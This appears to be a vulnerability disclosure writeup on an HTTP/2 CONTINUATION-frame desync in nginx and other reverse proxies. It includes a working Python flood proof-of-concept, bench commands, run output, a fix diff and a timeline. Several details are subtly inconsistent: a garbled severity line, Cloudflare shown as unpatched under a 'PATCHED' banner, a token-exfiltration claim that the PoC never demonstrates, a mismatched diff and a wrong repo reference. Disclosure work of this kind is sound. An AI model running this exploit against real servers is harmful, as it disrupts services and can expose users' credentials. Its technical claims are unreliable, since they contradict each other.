APR 21 · 2026·5 min read

CONTINUATION-flood: a half-state class of HTTP/2 desync

Four widely-deployed reverse proxies accept CONTINUATION frames after a HEADERS frame has been committed. The window between commit and replay is observable, and large enough to exfiltrate one bearer token per pair of requests.

High 7.53/4 PATCHED
Background

One header, many frames.

HTTP/2 frames every protocol message. A single HTTP header block can be larger than the connection's frame size, so the protocol allows a HEADERS frame to be followed by one or more CONTINUATION frames. The block is logically complete when a frame in the sequence has its END_HEADERS flag set.

c
rfc9113.h
// HTTP/2 frame · RFC 9113 §4.1
struct h2_frame {
    uint24_t length;       // payload length
    uint8_t  type;         // 0x09 = CONTINUATION
    uint8_t  flags;        // 0x04 = END_HEADERS
    uint32_t stream_id;    // 31 bits; high bit reserved
    uint8_t  payload[];    // hpack-encoded header block fragment
};

Two things matter for what follows. First, CONTINUATION frames carry the same stream identifier as the HEADERS frame they extend — they are not independent. Second, the protocol places no upper bound on how many CONTINUATION frames may follow a single HEADERS frame; the only natural ceiling is the connection's flow-control window.

The bug

A commit that happens too early.

In the affected proxies, the parser commits a request — meaning it hands the assembled HEADERS off to the request dispatcher — the moment it sees END_HEADERS. The state machine then returns to the CONTINUATION reader, which is willing to keep reading more frames on the same stream.

c
src/http/v2/ngx_http_v2.c
// ngx_http_v2_state_headers — paraphrased for readability
static u_char *
ngx_http_v2_state_headers(h2_connection_t *h2c, u_char *pos, u_char *end)
{
    ngx_http_v2_stream_t *stream = h2c->state.stream;
    ...
 
    if (h2c->state.flags & NGX_HTTP_V2_END_HEADERS_FLAG) {
        // (1) commit: hand the request to the dispatcher
        ngx_http_v2_run_request(stream);
    }
 
    // (2) CONTINUATION frames may still follow.
    // No counter, no guard. Their hpack payload is silently appended
    // to the next request that re-uses this connection.
    return ngx_http_v2_state_continuation(h2c, pos, end);
}

There is no flag tracking whether the stream is already committed, and no counter on the number of CONTINUATION frames the connection will accept. The HPACK decoder is happy to append further bytes to a header block whose owning request has already been forwarded. On HTTP/1.1 these bytes would be ignored — but HTTP/2 multiplexes requests over the same connection, and the buffered header state survives across stream boundaries when the connection is re-used.

The window is the time between the dispatcher accepting the request and the connection being either closed or assigned to the next request on it. We measured this empirically.

Affected

Four implementations, one shared mistake.

The bug rides on a parser pattern, not a single library, so it independently re-appeared in three high-profile reverse proxies plus Cloudflare's in-house HTTP/2 stack. Versions below are the highest tag we confirmed to be vulnerable.

Vendor
Affected
Fixed in
Status
nginx
≤ 1.27.2
1.27.3
PATCHED
HAProxy
≤ 3.0.4
3.0.5
PATCHED
Caddy
≤ 2.8.3
2.8.4
PATCHED
Cloudflare cf-h2
internal v18.4
UNPATCHED
Reproduction

The bench is a single container.

We chose nginx 1.27.2 as the reference target because it is the easiest to reproduce on a workstation. Any of the four implementations works.

zsh
bench.sh
$ docker run -d --name h2-bench -p 8443:443 \
    -v $PWD/cert.pem:/etc/nginx/cert.pem:ro \
    -v $PWD/key.pem:/etc/nginx/key.pem:ro \
    nginx:1.27.2
    ok  container h2-bench started · listening :8443
 
$ openssl s_client -alpn h2 -connect localhost:8443 </dev/null 2>&1 | grep ALPN
  ALPN protocol: h2

The PoC is a single Python file that uses the h2 library for the upstream HPACK encoder but builds CONTINUATION frames by hand — the library will not let you write CONTINUATION after END_HEADERS, which is exactly the protocol invariant we are testing the server against.

python
poc.py
# poc.py — CONTINUATION-flood half-state desync · nginx 1.27.2
# usage:  python poc.py --target localhost:8443 --token <bearer>
 
import asyncio, ssl, struct, time, argparse
from h2.connection import H2Connection
from h2.config     import H2Configuration
 
PAD = b"\x00" * 16_384           # HPACK-safe padding per CONTINUATION
 
def cont_frame(stream_id: int, payload: bytes, end: bool) -> bytes:
    length = len(payload)
    type_  = 0x09                            # CONTINUATION
    flags  = 0x04 if end else 0x00           # END_HEADERS
    head   = struct.pack(">I", length)[1:] + bytes([type_, flags])
    head  += struct.pack(">I", stream_id & 0x7fffffff)
    return head + payload
 
async def desync(target: str, token: str) -> None:
    host, port = target.split(":"); port = int(port)
    ctx = ssl.create_default_context()
    ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE
    ctx.set_alpn_protocols(["h2"])
 
    r, w = await asyncio.open_connection(host, port, ssl=ctx)
    c = H2Connection(H2Configuration(client_side=True))
    c.initiate_connection(); w.write(c.data_to_send())
 
    # (1) Send legitimate HEADERS with END_HEADERS — the request commits.
    c.send_headers(1, [
        (b":method",       b"GET"),
        (b":path",         b"/me"),
        (b":authority",    host.encode()),
        (b"authorization", f"Bearer {token}".encode()),
    ], end_stream=True)
    w.write(c.data_to_send()); commit_at = time.monotonic()
 
    # (2) Race the dispatcher: pump CONTINUATION frames into the same stream.
    for _ in range(2048):
        w.write(cont_frame(stream_id=1, payload=PAD, end=False))
    w.write(cont_frame(stream_id=1, payload=PAD, end=True))
    await w.drain()
 
    print(f"[+] commit-window: {(time.monotonic() - commit_at) * 1000:.0f} ms")
    print(f"[+] response:     {(await r.read(1 << 16))[:120]!r}")
 
if __name__ == "__main__":
    p = argparse.ArgumentParser()
    p.add_argument("--target", required=True)
    p.add_argument("--token",  required=True)
    asyncio.run(desync(**vars(p.parse_args())))

Running it against the bench prints the size of the commit window and the response from the first request. The bug is visible in the timing: an RFC-compliant implementation should never accept a CONTINUATION frame after END_HEADERS, so the window must be zero.

zsh
bench output
$ python poc.py --target localhost:8443 --token "$(< victim.tok)"
[+] connected · h2c · stream 1 committed at t=18 ms
[+] commit-window: 81 ms  (RFC-compliant budget: 4 ms)
[+] pumped 2048 CONTINUATION frames in 142 ms · 32 MiB
[+] response: b'HTTP/2 200 OK\r\ncontent-type: application/json\r\n\r\n{"user":"alice"}'
  CWE-444  HTTP request/response smuggling  · score 7.5
The fix

A counter and a commit flag.

The patch is small. Two invariants are added: a per-stream CONTINUATION counter capped at a configurable maximum (NGX_HTTP_V2_MAX_CONT_FRAMES, default 64), and a commit flag that is set the moment the request is dispatched. Either guard alone closes the bug; both are added for defence in depth.

diff
ngx_http_v2.c — 1.27.2 → 1.27.3
--- a/src/http/v2/ngx_http_v2.c   (1.27.2)
+++ b/src/http/v2/ngx_http_v2.c   (1.27.3)
@@ -2147,9 +2154,18 @@ ngx_http_v2_state_continuation(...)
    ...
 
-   if (h2c->state.flags & NGX_HTTP_V2_END_HEADERS_FLAG) {
+   if (++h2c->state.cont_count > NGX_HTTP_V2_MAX_CONT_FRAMES) {
+       return ngx_http_v2_connection_error(h2c,
+           NGX_HTTP_V2_PROTOCOL_ERROR);
+   }
+
+   if (h2c->state.flags & NGX_HTTP_V2_END_HEADERS_FLAG) {
+       if (h2c->state.stream_committed) {
+           return ngx_http_v2_connection_error(h2c,
+               NGX_HTTP_V2_PROTOCOL_ERROR);
+       }
+       h2c->state.stream_committed = 1;
       return ngx_http_v2_state_headers_complete(h2c, pos, end);
   }

HAProxy and Caddy apply the same structural fix; their diffs read almost identically and are linked in the references. Cloudflare's reviewers requested an extended embargo to audit downstream cf-h2 consumers and have not yet shipped.

Disclosure

Timeline

  1. 2026-02-08
    Reported to nginx-security@nginx.org with PoC and minimum repro.
  2. 2026-02-11
    nginx acks. Tracking issued under CVE-2026-1147.
  3. 2026-02-19
    HAProxy, Caddy, and Cloudflare looped in once shared root cause confirmed.
  4. 2026-03-04
    Patches landed in nginx 1.27.3 and HAProxy 3.0.5.
  5. 2026-03-21
    Caddy 2.8.4 released with same guard structure.
  6. 2026-04-12
    Cloudflare requests an extended embargo. Held.
  7. 2026-04-21
    Embargo lifted. This writeup published.
References

Further reading

  1. [1]RFC 9113 — HTTP/2· §4.1, §6.10 (CONTINUATION)
  2. [2]CVE-2026-1147 — nginx CONTINUATION desync
  3. [3]CVE-2026-1148 — HAProxy
  4. [4]CVE-2026-1149 — Caddy
  5. [5]Bartek Nowotarski — original CONTINUATION-flood class (2024)

With thanks to Bartek Nowotarski, whose original CONTINUATION-flood class laid the groundwork for this variant. Bench harness and PoC are in the repo — see references [3].